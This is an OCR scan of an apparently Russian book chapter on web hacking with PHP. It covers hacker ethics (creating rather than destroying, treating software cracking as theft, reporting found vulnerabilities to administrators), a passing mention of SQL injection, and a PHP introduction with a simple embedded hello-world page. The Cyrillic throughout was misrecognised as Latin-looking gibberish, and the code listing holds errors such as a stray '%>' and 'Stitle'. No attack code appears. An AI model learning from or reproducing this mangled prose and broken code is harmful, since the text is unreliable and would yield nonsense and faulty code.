BO# kHonkoli mbiliy. Ho ecin Bbi Aenaere Tak Xe, TO, HABEPHOE, 3HAETE, YTO
He Besjie ecTh KHonkH Konuposatrs, BeTaBuTh WM COOTBETCTBYIOILNE ITYHKTHI
B KOHTEKCTHOM MeHI0. B rtakux ciyuasix Moii HavyaibHHK HabHpaer Teker
BPY4YHYI0. A Beab MOXHO ObUIO OBl BOCIMOJNB30BATHECS KOMHUPOBAHUEM,
BCTaBKoOi ¢ moMoubio "ropsunx knapui” <Ctrl>+<C>/<Ctrl>+<V> uu
<Citrl>+<Ins>/<Shift>+<Ins>, KoTOpPEIe AOCTATOYHO YHUBEPCAJIBHBI U PEATH30-
BaHbl TPAKTHYECKHM BO BCEX COBPEMEHHBIX NMPUJIOXKEeHMAX (ke TaMm, Tae He
NPeAyCMOTPEHB! KHOMTKKA H MEHIO).

3a xonupoBaHWe M BCTABKY B CTAHHApTHBIX KommoHenrtax Windows (erpoxu
BBOJIA, TEKCTOBBIE TMOJIS) OTBEYAET caMa ONMepauMoOHHAsE CHCTEMA, M TYT He Hy-
XeH [JOMOMHUTENbHbIH Koa, 4ToOhl aaHHbie onepauuu szapaboranu. Ecnu
nporpaMMMCT HE NPEAYCMOTPE] KHOMNKY, TO 3TO HE 3HAYWUT, 4YTO JIAHHOIO nei-
crBug Her. OHO ecTh, HO JOCTYNHO Yepes "Topsauyio Kiasuuy'".

Eute omun npumep. £ paboran nporpaMMHCTOM Ha KPYIHOM NpeAnpHATHH
(6omee 20 000 pabornukos). Moeii 3anayeit 6bUI0 co3garh MporpamMmy Bese-
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HUSl Ga3bl NaHHBIX U aBTOMATU3MPOBaAHHOro (OPMUPOBAHUSI OTHETHOCTH.
Bosblioe KonuyecTBo napamMerpoB HaGupasoch BpyuHylo. [lepBbiii BapuaHT
nporpaMmsbl paboran 6e3 "ropsiuux Kiasuul', M IS BBOAA AaHHBIX Tpebosa-
nock 25 yenosek. [locne BHenpenus "ropaunx Kiasui' npoH3BOAUTENBHOCTD
BO3pOCKa, U ¢ mporpammoii paboraio yxe meHee 20 uenosek. DKOHOMUSA 3a-
MeTHa Jaxe 6e3 yBeJMYUTENBHOTO CTeKIa.

2. Bl DOMKHBI JOCKOHANBHO M3YYaTh BCE, UTO BAM XOUYETCH 3HATH O KOMMLIOTE-
pax. Ecnu Bac wHTepecyer rpauKa, TO Bbl JOJDKHBI OCBOUTH JIyuilike rpadm-
YECKHE MAaKeThbl, HAay4HThCs PHCOBAThL B HUX JN0OBIE CLEHBl W CO3aBaATh CaMble
croxHbie Mupst. Eciu Bac uHTEpECyIOT ceTH, TO cTapaiiTech y3HATH O HUX BCe.
Ecau BBl cumTaere, 4TO MO3HANM YXKe BCe, TO KYNHTE KHUIY MO NAHHOI Teme
MOTOJILIE, W BbI NONHMETE, YTO CHIIbHO onbaiuch. KoMibiotepsl — 3T0 Takas
cepa, B KOTOpOi HEBO3MOXHO 3HaTh Bee!!l

Xakepel — 370, Npexiue Bcero, npodeccHoHaNbl B KakoM-HubyIb nene. U aro
He 006s3aTelbHO J0/DKEH ObITh KOMINBIOTEP WM Kakoil-To onpeneieHHbIi
SI3BIK MPOTPAMMMPOBAHMS. XaKepoM MOXHO crarth B Jioboit obmactu, HO Mbl
B laHHO# KHure Oyaem paccMaTpuBaTh TOJBLKO KOMITBIOTEPHBIX XaKepoB.

3. XKenarespHo ymeTb mporpaMmupoBars. JIo6oil xakep H0MKeH 3HaTh, KAK MH-~
HHUMYM, OOWH $I3bIK NPOrpaMMUPOBaHMs. A Jydille HaXxe HeCKONbKO S3BIKOB.
JinuHo A peKOMEeHyi0 BceM H3yuyuTh s Havana Borland Delphi wan CH++,
Borland Delphi nocratournio npocr, 6eictp, a¢exruses, a miasHoe, — 3T0
O4YeHb MOLUIHBIH 53biK. C++ — NpU3HAHHBIH CTAHIAPT BO BCEM MUpPE, HO He-
MHOTO clioXHee B u3yueHHH. OfHAKO cue He 03HAYAEeT, YTO HEe HANO BIALETh
JIpYruMH si3BIKaMH. Bbl MOXeETe HayduThesl MPOrPpaMMHPOBATh HA YEM YrOJHO,
Jaxe Ha a3pike Basic (BmpoueM, MCMONL30BATH €0 HE COBETYIO, HO 3HaTh He
nomerano 6s1). Xors g He oyeHb Jiiobmo Visual Basic 3a ero orpaHuyeHHOCTb,
HeynoO6CTBO M CHJIOHIHbBIE HEJOCTATKH, sl BHAEN HECKOIbKO BENTMKOMEmHbIX
NporpamMm, Kotopkie ObU1M HAaNMCaHBl UMEHHO Ha 3TOM siakike. [Uisiisl HA HUX,
cpasy Xo4ercsi HasBaTb MX aBTOpa XakepoM, MOTOMY YTO 3TO HEHCTBHUTE/NBLHO
BUpTyOo3Hasa W Gesynpeunas pabora. Co3gaHue U3 HUYETO Yero-To BeJHKOJIeN-
HOT'O K4aK pa3 M ecTh MCKYCCTBO XaKEepCTBa.

Mo xony uayyeHuss KHUTH Bbl YBUAUTE, YTO 63 HABBLIKOB MPOrpaMMHpPOBAHHS
HEKOTOpbIE MpUEMBbI GbUTN 6bl HEBO3MOXHBL. Mcnosib3ys rotoBbie nmporpaMmsl,
HanucaHHbIe APYMMMH Xakepamu, Bbl MOXKETE CTaTh TOJBLKO BIOMILHKOM,
a st Toro, 4tobbl cTaTh XakepoM, HY)KHO HAyYMTHCS CO3MABAThH CBOIT KO,

Xakep — 3TO TBOpell, YeJoBeK, KOTOphlif uTo-TO co3igaer. B GonbmHcTBe
CJIy4yaeB 3TO KAcaeTcsi KOAa MporpaMMbl, HO MOXHO co3nasaTth M rpaduky,
MY3BIKY, YTO TOXE OTHOCHMTCH K MCKyccTBY xakepa. Ho maxe eciu Bbl 3aHM-
MaeTech KOMITBIOTEPHOH MYy3bIKOi, YMEHWE MpPOrpaMMHMpOBATH MOBBICHT Balll
ypoeenb. Ceifuac mucarTh CBOM MPOrpamMMbl cTalo ropasno jerde. C noMoibio
Takux A3bikoB, Kak Borland Delphi, moxHO co3maBars mpocrsle YTHIWTHI 3a
OYeHb KOPOTKOE BpeMsi, K MpH 3TOM Bl He Oyaere HU B YeMm orpaHuueHsl. Tak
4TO HE TMOJEHUTECh W U3YUHTE MPOorpaMMUpOBaAHHE.
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4. He TopmosuTe nmporpecc. Xakeps! Beeraa Goponuck 3a cobony MHpOpMaLIni.
Ecan Bbl xoTuTe GBITH XaKepom, TO TOXE NOKHBI NOMOraTh APYruM. Xakepsl
obsizanbl cnocoberBoBatk nporpeccy. Hekotoprie nemaior 3To 4yepes Hamuca-
HUE MpOrpaMM C OTKPBITBIM KOAOM, @ KTO-TO [POCTO AENHTCS CBOMMHM 3Ha-
HUSAMH.

OtkpbiTocTh MHGOPMALIMK HE O3HAYAET, YTO Bbl HE MOXETe 3apabarbiBathb
JAeHbrM. OTO HUKODIA He Bo30paHsIOCh, TIOTOMY YTO XAKephl TOXE JIOAH, M
TOXE XOTHT KyLlaTh, M JOJDKHBI CONEPXaTh cBOK ceMblo. Ho neHbru He momk-
HbI ObITH OCHOBOMOJNArAIOINM NMpUHLMIIOM Baluei Xu3Hu. Camoe raasHoe —
ato co3unarue. Bor TyT nposiisieTcs euie ofHO OTIMYME XAKEPOB OT KP3Ke-
poB: xakephl "co3zmawor”, a kpakepbl "yHuutoxaioT' uHbopmauuio. Ecau Bul
HamUCaIM KaKylo-HHOYIb YHMKATBHYIO LIYTOYHYIO MPOrpaMmy, TO 3TO Bac Je-
naer xakepom. Ho ecnu Bl u3o6penu BUpyc, KOTOpBIH ¢ yapiOKolt Ha 3KpaHe
YHUYTOXKAET AMCK, TO Bbl — KP3KepP-NPecTyNHUK.

B 6opube 3a cpobomy uHpOpMALKH MOXET MPUMEHSTLCH HaXe B3JIOM, HO
TONBKO HE B paspyliMTeNbHbIX Uensix. Bbl Moxere BanoMarh Kakyio-1ubo
nporpaMmy, 4toGbl MOCMOTPETb, KaK oHa paboraer, HO He yOUpaTh ¢ Hee cuc-
TeM 3aluThl. HyXHO yBaxaTh Tpya ApYrHX NpPOrpaMMHCTOB, He HApyWaTh UX
ABTOPCKHE [1papa, MOTOMY YTO 3aliuTa MporpaMm — 310 WX xieb.

[pencrasere cebe cUTyaUMio: BBl yKpaan TeeBu3op. B1o 6buto 651 BOPOBCTBO
U nipeciiefoBaioch ObI Mo 3aKkoHy. MHOrME JIIOAM 3TO MOHUMAIOT W HE MAYT HAa
npectyniaeHus u3-3a 6os3un Hakaszauusi. [Toyemy Xe Toraa Kpakepsl CIIOKOM -
HO JIOMAIOT MporpaMmsl, He Oosick 3akoHa? Benb 310 TOXE BOpoBCTBO. JIMuHO
sl IPUPABHUBAIO B3/IOM MPOrpaMMBbl K BOPOBCTBY TeJeBU30pa C IMOJKH MAra3u-
Ha U CYMTAIO 3TO TAKUM XK€ [paBOHAPYLIEHUEM.

[lpu 3TOM BBl HOJDKHBI MMETh MPaBO MOCMOTPETb HA KOA KYIUIEHHOH Mpo-
rpamMel. Benb BBI e MOXeTe BCKPBITb CBOIf TENEBU30P, ¥ HUKTO He Byaer sac
fipec/ie1oBaTh Mo JMLUEH3MOHHbIM cornameHusm. Kpome Toro, Bac Xe He 3a-
CTaBIISIIOT PErMCTPUPOBATHCSH, KOTA Bbl YECTHO npuobpenu ToBap, Kak HenaiwT
3TO ceifuac ¢ akTuBalHei.

A noHumaw pa3paboTYMKOB MPOrpaMM, KOTOPbIE MBITAIOTCS 3aALUTHUTH CBOIl
Tpya. A cam nporpaMMMcT M Mponaio cBou mnporpammbl. Ho s HUKoraa He je-
JIAI0 CIOXHBIX CHCTEM 3aLLUTHl, TIOTOMY 4TO JN0ObIE MOMBITKM “NpemnoxpaHe-
HUs" MOPTAT XU3Hb 3aKOHOMOC/IYILHBIM TO/MB30BATE/SIM, @ KPIKEPhI BCE PaBHO
BatomaioT. Kakue Tonbko "3aMKu" He NMPHAYMBIBAIM KPYIHbIE KOPMNOPALMH,
4yTOOBI 3alUTUTE CBOIO cobcrBeHHOCTh, HO Crack cymiecTByeT Ha moObie
rporpamMMel, GOJIBIIMHCTBO M3 KOTOPLIX B3JIAMBIBAIOCH €ILE A0 opHIIHANTBEHOrO
BBIXO#a Ha peiHOK. C HelerabHbIM pacHpocTpaHeHNeM MporpaMM HYXHo 60-
POTBLCS APYrUMM METOAAMM, A CUCTEMBI AKTUBALIMM WM KIIOUeH Oecrosie3Hsl.

B uMBWIM3OBAHHOM MMpe MporpaMma IOKHA MMETb TONBKO MPOCTOe Nose
JUIS BBOZIa HEKOEro Koja, MOATBEPXKAAIoIIero orary, M Hu4ero Gosblue.
He nmomkHo 6GbITh HUKAKMX AKTHBALMit M CIOXHBIX peructpaumit. Ho u monp-
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30BaTeNN LOJKHBL OBITh YECTHBIMK, TOTOMY 4TO JI060I TPYA AO/DKeH onjavu-
BATBHCH. A TO, YTO KAaKOi-To ToBap (NporpaMMHbIIl NMPOAYKT) MOXHO MOMYYHThb
ﬁecrma'mo, €lle HE O3HAaYaeT, YTO Bbl JO/IKHbL 9TO AEJTATD.

5. 3naiiTe Mepy. YecTHo ckasark, st yBaxaio Bumna Teiftca 3a To, 4T0O OH cosman
Windows u Gaaropapst eif ciiesian KOMINbIOTEP TOCTYMHBIM LIS KAXIA0T0 B 3TOM
mupe. Ecnu paHblie MOMb30BATECA KOMIBIOTEPAMHM MOIIH TONLKO JIOIH
¢ BBICIUMM 0oOpasoBaHHEM M MaTeMaTUYeCKMMH COCOOHOCTIMH, TO TENeph OH
JOCTYTEeH KaXIoMy pebeHKy.

EnnHcTBeHHOR, YTO A HE NMPUBETCTBYIO, — 3TO METOIbI, KOTOPLIMU MPOIBUIa-
ercs Windows Ha KoMreioTephl noJsib3oBaTenei. MHe KaxeTcs, 4To yxe JaBHO
nopa ocnabutek gasneHune, torna Windows, HaoGoport, craHer Gosree momynsp-
HOM, M Yy MHOTHX MPONaieT HeHABUCTh K KOPMOPALMH W ee PYKOBOICTBY.

Henr3ss mpocto Tak jMIaTh AeHer Apyrue (pupMBI TONBKO H3-3a TOTO, YTO Thl
MpOHTpal KOHKYPEHINI0, Kak 370 npousouio ¢ Netscape Navigator. Torna
Microsoft He ynanocs nobemuts dbupmy Netscape B uectHoit Gopobe, u Mi-
crosoft caenana coit 6Gpaysep GecrulaTHbIM, NOTOMY YTO Y KOPINOPALUMH f0CTa-
TOYHO JIeHer, ¥ oHa Moxer cebGe 510 nossoauts. Ho nouemy Henb3st GbuIO
npocro yitH or Gopbbel M AocTOWHO NPUHATE npourpeiu? Bemb aoXombl
¢upMbl or nepesosa Opaysepa Ha GECTIATHYIO OCHOBY HE CM/IBHO YBEIHYM-
Juck, a uHTerpauua Internet Explorer B OC — uuetsiii dpape.

Hns mponsrxeHus cpoero nopraia Microsoft Morna HailTy M Apyrue crioco-
Obl, 2 KOHKYpeHLMs 10JuKHA ObiTh YecTHo#. Henb3st tpeGosath oT monb3osa-
Tess 10OpOCcOBECTHOrO OTHOIUEHHMSI K CBOMM MMPOIYKTaM, KOraa caM Hrpaellb
HEYECTHO.

6. He wuzobperaiite Benocunen. Tyr onars JeicTBYeT cosumaresbHas yHKLMUS
xakepoB. OHN He JOJIKHBI CTOSITh HA MecTe W OBS3aHBI AENTUTHCH CBOMMU 3HA-
HusMH. Hanpumep, eciu Bbl HAnmucann KaKoi-TO YHMKATbHBIH KO, TO rojge-
JINTECHE UM C GAMXKHUMU, 4TOGEL IIOAAM He MPHUIIIOCE CO3[aBaTh TO XKe caMoe.
Bbl MOXeTe He BbLIABATh BCEe CEKPEThI, HO IO/KHBI TOMOTaTh APYTHM.

Hy, a ecni K BaM B pyKH IONMan 4yXoi KOJ, TO HE CTECHANTECH €ro UCITONb-
30Bark (¢ cornacus xo3snHa!). He BbIIyMBIBaiiTe TO, YTO yXKe CleNnaHo U obka-
TAHO APYrUMM Mojb3oBatensiMu. Ecim xaxneid Oyner mnzobperath Koneco, To
HUKTO M HHKOTJA He CO3/acT MoBO3KY, U TeM Gomnee aBroMOGMIIb.

7. Xakepbl — He MPOCTO OTAENbHBIE JIMYHOCTH, a uenas Kynsrypa. Ho 310 He 3Ha-
YUT, YTO BCE XAKEphl OIEBAIOTCSA OAMHAKOBO M BBINIAT HAa ofHO auuo. Kax-
JIblit U3 HUX — OTUEIBHBII MHAWBHIYYM M He TIOXOX Ha apyrux. He Hano xornu-
pOBaTh APYTOro YejioBeka. YIayHoe KOIMPOBAHME HE CAENAeT BAC MPOABMHYTHIM
xakepoM. ToNnbKO Ballla HHAMBUIYANTEHOCTh MOXET CHEJIATH BAM MMS.

Ecnu BBl H3BECTHBI B KAKMX-JINOO0 Kpyrax, TO 3TO CUMTAETCS OY€Hb IMOMETHBIM.
Xakepsl — arto moau, nobeiBaioliue cebe clasy CBOMMH MO3HAHUAMHU M 106-
peivu enamu. [Mostomy moboro xakepa HOMKHBL 3HATS.
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Kak Bam onpenenuts, siBiserech Jii Bbl xakepoM? OueHb NpocTo: eciiu 0 Bac
roBOPAT KaK O Xakepe, To Bbl oIMH U3 HUX. ZKaib, 4TO TAKOro A0OHUTHCH OYEHb
CIIOKHO, MOTOMY 4TO GONBIIMHCTBO CYMTAET XakepaMu B3noMuiMkoB. [Mosrto-
My, uTo6bl O BAC 3aroBOPUJIM KAk O Xakepe, HYXHO 4TO-To BeKpbiTh. Ho 3710
HENpaBWILHO, W HE HANo noagasarbesi aTomy cobnasny. CrapaiiTech gepkarh
cebsl B paMKax A03BOJIGHHOTO M JAOOMUTBCA C/aBbl TOJBKO XOPOLUIMMU AeIaMH.
D10 HAMHOTO C/IoXKHee, Ho uTo nogenaeis. HUKTO u He obewan, yro Oymer
JIETKO.

8. YeM omiMualoTcst Apyr oT Apyra nporpaMMHcT, Iojb3osarenb u xakep? Ilpo-
rpaMMHCT, KOTAd IHUILeT ITporpaMMy, BUIUT, KaKoW OHA HOJKHA ObITh, M Bce
nenaer Ha cpoe yemorpenue. [lonb3oparess He BCerma 3Haer, 4TO 3agyMma
nporpaMMucCT, ¥ paboraer ¢ nporpaMMoit Tak, KaK MoHHMaer.

[porpammuct He Beeraa MoXKeT MpeayraiaTh IeiCTBUSI CBOMX KIIMEHTOB, Ja M
MPWIOKEHUS] HE BCErla TLIATENbHO OTTecTHpoBaHbl. [lonb3oBaTenu uUMEIOT
BO3MOXHOCTb BBECTH MapameTphbl, KOTOpble MPUBOIAT K HeycToiunBoil pabore
NPpOrpaMM.

Xaxkepbl HaMEpPEeHO WILYT B Mporpamme Jiaseifki, 4yTo6bl 3acTaBuTh €e paborars
HETIPAaBHJIBHO, HecTabuibHO MAKM HeoberyHO. [Lns atoro Tpebyercs BoobGpaxe-
HUE M HEeCTAHOAPTHOE MbIlUIeHWe. Bhl JOMKHBI YYBCTBOBATH MCIIOMHSIEMbIN
KOJL W BHJIETh TO, YEro He BUAAT APYTHE.

Ecim BBI HALLIH Kakylo-TO yA3BMMOCTb, TO HeoDf3aTeNbHO €e MCIOMb30BaTh.
06 omubkax syyiire coobuarte BIALebLy CUCTEMBI (Harpumep, aIMUHHCTPA-
uuu caiita). 910 BecbMma 6aroponHoO, a [1aBHOE, — CO3MACT BAM WUMS, U MpH
9TOM MOXKHO HE 0[acaThbesl OKA3arbesl B 3a1e cynd. XoTd Te, KTo MomnaaaeT noi
cyi, BpicTpee MONYYAIOT MOMYIAPHOCTH, MMOTOMY YTO O TAKMX JHOASX THLIVT
B rasetax. Ho komy B TiIopbMe HY:XHO npusHaHue obitecrsenHocTn? S mymaio,
4yTo HUKOMY. Tem Gosee uTo mocie OTOBIBAHMS CPOKA HAKa3aHWs OYEHBb YacTo
TSKeno HaiTH cebe pabory. Mano KrTo 3axoyer HepXKarh B iutarte GbIBLUErO
MpecTynHNKa, 1a W 1ocjie npedbiBaHKis B MECTaX He CTONb OTAANEHHBIX MOXET
ellle O0JIro AeHCTBOBATh 3anper Ha paboTy, CBA3AHHYIO C JTIOGUMBIMH KOMITBIO-
tepamu. Jlyuiie ObITh 310pOBLIM M OoratbiM, T. €. 3HAMEHUTBIM W Ha cBoboje.

HekoTopsie cunTaoT, YTo NMpaBHjiLHO HANO NPOM3HOCHTH "x3Kep", a He "xakep".
DTO TAaK, HO TOJMBKO /15l aHIIMICKOTO 53bIKa. ¥ HAc B cTpaHe 3TO C/I0BO obpyce-
Jo u ctaio "xakepom". Mbl — pycckue nioau, gasaite byaeM N106UTH CBOM S3bIK
U TIPU3HABATL €ro IpaBuJa.

Xakepsl Web-calfToB IO/UKHBI OTIIMMHO 3HATH CIEAYIONIME TEXHOIOTUM:

O aseik Web-nporpaMmupoBanus, ocobeHHO ero ciabble U CHJIBHBIE CTOPOHEI.
B n060oM fi3bIKe ecTh MOJIOKUTE/BHOE U OTPULIATEIBHOE, Bbl HOMXKHBI 3HATH
TO ¥ apyroe. B JaHHOM ciyuae Mbl pacCMaTpMBaeM SI3bIK MPOrpaMMHMPOBE-
Hust PHP, koropelit craHoBUTCA OOUM M3 caMbiX MOMYJISPHBIX U He Ges oc-
HOBaHMA;
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0O OC, kotopas Gyner ucnonb3oBarbesi B Kavyecrse uiardopmsl. HaubGonsuieii
nonyjsipHocteio 8 Web nonesyiores cepsepsl Ha nardopme Unix, nostomy
JKenaTejJbHO 3HATh MX OCHOBHbIE KOMaHIbl, ocobeHHO Kacaouidecss paborsl
¢ (aitnosoil cucTeMoi;

(0 Gasza gaHHbIX. CraTH4YHbIe CAHTHI BCTPETHThL BCE COXHEE W ClOXHee, a He-
MONL30BaTh B 3THX ueisx ¢aiiyioByio cucteMy He oueHb 2(¢EKTHBHO, OCO-
OeHHO 1npH BonblioM KoauvecTBe JaHHbIX. Basbl faHHbIX Hal0T HaMm GoJbliue
Bo3MOXHocTH. Kak 1 miobasi TexHonorusi, oHH He rapaHTHpyloT abcolioTHYIo
0e30MacHOCTb, HO K HEW HYXHO CTpeMUThCS. BhI AOJKHBI HOHUMATE caM cep-
Bep (B Web wawe Bcero ato MySQL) m s3eik SQL (Structured Query
Language, A3bIK CTPYKTYPUPOBAHHBIX 3aMpOCOB), KOTOPbIH HCIONb3YeTCs UL
goctyna K aaHubeiM. MMenHo Gnaromapsi xopouieMy sHanuio SQL nosBunack
araka SQL Injection (BHeapenue SQL), koTopas siBsieTcsl 0MeHb ONACHOII.

1.3. Y10 Takoe PHP?

Aspixk PHP (Personal Home Page Tools, HHCTpYMEHTBI epcoHaNbHBIX 1OMAlIHUX
CTPAHMI) — 3TO A3bIK CLEHAPHEB C OTKPHITBIM MCXOAHBIM KOJIOM, BCTPANBAEMBbIX
B HTML-xon u BeimonHsembix Ha Web-cepsepe. Dror sa3bK HamucaH Web-
paspaboruukamu u s Web-paspaboruukos. fA3sik PHP gsnsiercs KoHKypeHTOM
TakKMX TpoayKToB, kak Microsoft Active Server Pages (ASP), Macromedia
ColdFusion 1 Sun Java Server Pages. Hekortopsie crneumasnicrsl Hassisaior PHP
"oTKpHITHIM f3bikoM ASP" wnu "ASP ¢ OTKpBITBIM HCXOAHBIM KoioM". DTo He-
BepHo, nmotoMy uto PHP paspabarbiBancsa Ha HECKOJILKO JET paAHBLUE, MPHMEPHO
B ONIHO M TO Xe Bpems ¢ Java Server Pages, nosroMy mMoxHo ckasatk, yto ASP
SIBNIAETCS 3aKpRITOl anbTepHaTHBoi juist PHP.

Cam no cebe Web-cepsep He ymeeT BoloNHSTE cueHapuu PHP, ans atoro Heol-
XoaMmMma rnporpaMma HHTEprnperarop. Takue UHTEPIPETATOPHLI CYILIECTBYIOT ILId
Beex nonynapHeix Web-cepsepos (IIS, Apache) Ha Bcex ocHoBHBIX miaaTdopMax
(Windows, Linux u 1. 1.).

Savik PHP saBasiercs oduumnanstbiv MonyneM Apache Web Server. Dto Gecninar-
Hblit Web-cepBep, KOTOpblilt SBISETCS JMACPOM U Hcnolbiyercs: Oosee yeMm Ha
nonosuHe cepsepoB B MuTepHete (TouHyo uudpy Ha3BaTh CIOXHO, HO JIIOOLIE
IAHHBIE YKa3blBAIOT HA IPEBOCXONCTBO JaHHOro ceppepa). Yrto sHauuT oduim-
anbHblit Momyns? Dro 3HAYMT, uTO ABMXKOK obGpaborku PHP-cuenapnes moxer
6biTh BeTpoeH B Web-cepBep, 4TO MO3BOMSET YCKOPUTH BRITTOJIHEHHE W YIYUILHUTh
ynpasiasieMocTh namsThio. Cepsep Apache cyllecTByeT [Uisi BCeX OCHOBHBIX FUIAT-
¢opm — Windows, Mac OS X u ocHosHbie pasHosHaHocTH Unix-cucreMm — U Ha
n060ii nnardopme acddexkrusHo pabortaer ¢ PHP.

flabik PHP nossonsier BeTpamBarh (hparMeHTh Koaa Herocpenctsernto 8 HTML-
CTPaHMLIb, @ WHTEPNPETUPOBAHHBLII KO/ Bauieil cTpaHuiibl oToOpaxaercs Mojb-
sosarenio. Kon Ha asvike PHP MoxHO BocrnpuHMMarh Kak paclIMpeHHbIE Teru
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HTML, xoTopbie BHIMOMHAIOTCS HA cepBepe, WIH KaK MAJIEHbKHE MporpaMMbl,
KOTOpBIE BHIMOMHAIOTCS BHYTPU CTPAHULL, Npexie uem OymyT oTnpasieHsl KineH-
Ty. Bee, uro genaer Koxn nporpamMmbl, HE3AMETHO YISl TTOJIb30BATEIsI.

Sspik PHP nosposnsier coeMHATLCS © MONYAsSpHLIMU 6asaMM HaHHBIX, pacroo-
JKEHHBIMH Ha cepsepe, U obpabarsiBare MHGOPMALWIO W3 TabauL (M3MEHATD, 10-
0aBnATb, yAANATH JaHHBIE). DTO JeNaeT A3bIK O4YeHb MOUIHBIM TPH CO3ZaHWH
KOPTOpPaTHBHOIO caiiTa, colepXKallero MHOXecTBo AaHHbIX. [Ja u mobas goMail-
HSiA CTPaHM1IA YXKe HeMmbicauMa Ge3 LeHTPANN30BaHHOTO XPAHWIUILA NaHHBIX.

[Mpaktudecku Hu onuH bosee-MeHee kpynubiit Web-caitT He Moxer paborars 6¢3
XpaHMUILA AaHHBIX. U1 3TOH 3a1ayl MOXHO MCIOJB30BATh TeKCTOBBIe (haiinl
Ha cepsepe Mau 0Oasel maHHBIX (BTOpoe HaMmHoro ynobGHee npu o6paborke).
B nmanHoit kHMre Mbl OymeM paccmatpuBath pabory MMEHHO 6a3 JaHHBIX.
B kauectBe oCHOBHOIH OyIeT HCHONb30BATLCH camasl pacnpocTpaHEeHHas pasHo-
suaHocts — MySQL. Dto pensiumonHas 6asa IaHHBIX € OTKPLITHIM MCXOOHBIM
KOJIOM, KOTopasi npocta B HCMNOJb30BAHHH H MOMNEPXKHBAECTCH GONMBIIHHCTBOM
XOCTHHTOBBLIX KOMITAaHHH.

1.4. Kak paboraer PHP?

Yro 3HauMT "BcTpamMBaeMbiil” siapik? PaceMmoTpum npoctoif npumep koma Web-
CTPaHMLbI, B KOTOpOit Henonb3ytotess PHP-uncrpykunu (muctunr 1.1).

<HTML>
<HEAD>
<TITLE> Test page </TITLE>
</HEAD>

<BODY>

<?php

Stitle='We are glad to see you again';

7>

<P>Hello. <?php echo $title ?>

<P>Current time <?php echo date('Y-m-d H:i:s') %>
</BODY>

<HTML>

K Mpumeyanne 2

WicxoaHeli ko w3 nuctuHra 1.1 ol MoxeTe HailTu B chaine \Chapter1\embadded.php
Ha KOMNakT-AWCKe, Nnpunaraemom K kHure.,
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Wnerpykuun PHP no ymonmuaHuio 3akioualTes B Ter <?php .. ?>. Mbl noka He
OymeM BHMKATh B KO, MOKA3aHHBLII 3ech, NOTOMY 4TO ceifyac riapHas 3aja4ya —
YACHUTb MpuHuun pabortel. YKe nocie yTeHMs clieiyiouleil m1aBsl Bl MoiimMere
HarucaHHbIl 3neck Kol Ecnu tenepk 3arpy3uTh 3Ty crpaHuy4ky ¢ Web-cepsepa,
TO Bbl JOJ/KHBI YBUAETh MPUMEPHO TO, 4TO H300paxeHo Ha puc. 1.1.

3 Test || e - I?a nov Inte| rnel Explorer

5 5 e e_.

mu]ﬁj http://wwws wt-onine u/php/ chapter] /embadded.php

Hello. We are glad to see you again

Current time 2004-09-30 13:16:42

Puc. 1.1. MpocmoTp cTpadulbl, 8 koTopoid pabortaert ko PHP

Japaiite Tenepb NMOCMOTPUM MCXOAHbLIM Koa cTpaHuubl B Gpaysepe. s 3toro
poiGepute MeHio Bua | B sune HTML (View | Source). Ilepen samu orkpoercs
oKHO B/IOKHOTA, B KOTOpOM Oy/eT colepXarbes MPUMEPHO CIEeAYIONnit Ko '
<HTML>

<HEAD>

<TITLE> Test page </TITLE>

< /HEAD>

<BODY>

<P>Hello. We are glad to see you again<P>Current time 2004-09-30
13:16:42</BODY>

<HTML>

Kak sumure, Hukakux PHP-uncrpykumit Gonbire wer. Bee onu ucuesnu. Dro
CBSI3AHO C TEM, YTO cepBep oOpaboTa HAIIM KOMAHIBI M MEepefan Mojib30oBaTenio
yuersit HTML-kon, uaM MOXHO €KasaTh, YTO MONb30BATE]lb BUIUT TONBKO pe-
synsTar paborsl cueHapus. Koraa nonpsosarenb 3anpauivBaeT CTpaHuLly, cepsep
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obpabarbiBaer Bce PHP-uHCTpyKUMM HA DTOif cTpaHHile W BO3BPAILAET TOJBKO
pesyabsrar oopaborku Ha ynctom HTML. 1o naer cnemyioulie npeuMyliiecTsa:

O nwoboit Gpaysep MM YCTPOICTBO MOXET IPaBWILHO OTOOPAa3UTh pesynbTar,
ecnn pesynstapyrommit HTML-kon coorsercrsyer ero rnpasuiam;

O 3anpockbl BLINOJHSIOTCA OLICTPO M MCMOJNB3YIOT MUHHMAIBHOE KOJNMYECTHO
pecypcoB;

O kon ctpanuukl cocrout u3 HTML-teros, a 3nauut, Bbl MOXeTe NErko co3ma-

BaTh MakeThl C TOMOLIbIO [POCTOTO B WCIOJNB30BAHMM $3bIKA PA3METKH
HTML;

0 moxHO cosnasaTh Web-cTpanuiibl B Jw060M perakrope (faxe BH3YATBHOM),
4 NoTOM TONBKO nobasnate B Hux PHP-kon.

Takum obpasom, Mbl cosiiaeM npoctyio HTML-crpannily, B KOTOPOH mpHCYyTCT-
syer kon PHP. B HekoTopsix fsbikax, cxoxux no HasHauenuio ¢ PHP (nanpn-
mep, Perl), npoucxonur obpatHoe. TaMm Bbl mulleTe Koi MporpaMmsel, a MIsl H0-
GapineHuss HTML-teroB HyXHoO mnucarb crneuMaibHble WHCTPYKUMK. B maHHOM
ciyyae Bce Haobopor (xoTsi MoXHO BbiBOauTh Kon HTML u ¢ nomouisio hyHK-
uuit, kax B Perl). Yacro ato GbiBaer oueHb yI0OHO, a BCTPEYAIOTCS CTPAHMILLI,
MOJHOCTBIO HanmucaHHbie Ha PHP.

Sapik PHP spnsiercst uHTEpripeTHpyeMbiM. 9TO 3HAYMT, YTO €ro He Halo KOMITH-
AUPOBATL B MIPOTPaMMY (XOTS MOXKHO K OTKOMMHIMPOBATH), & BHITIOIHEHHE MPo-
uexonut "Ha siety”. D10 oveHb yn00HO, HO MHONIA MOXET MPUBOAUTE K M3AEPXk-
KaMm, Hanpumep, ecnu Kakoit-to (parMeHT Koaa BHIMOMHSAETCS B mNporpamme
100 pas. Kaxasiit pa3 Oyaer rnpoucXoauTb MHTEPNPETalus, YTO OTHHUMAET JIWLL-
Hee MpoUECCOpHOe BpeMsA. DTO ACHCTBUTENLHO MpobieMa WHTEPNpeTUPYEMbIX
a3bikoB, HO B PHP pewnan 3ty npobaemy koMmnuiauuer "Ha naery”. Taxoii
(parMeHT Kojia OyAeT UHTEPHPeTUPOBATECA TOABKO OAWH pas.

Ellte onMH HEAOCTATOK MHTEPNPETMPYEMOCTH — TaKie MporpaMMbl MOCTaBISIOT-
csl B MCXOIHBIX Kofax, ¥ Jilo0oif mporpaMMHCT CMOXET YBMIETh BALl TPyd U Mc-
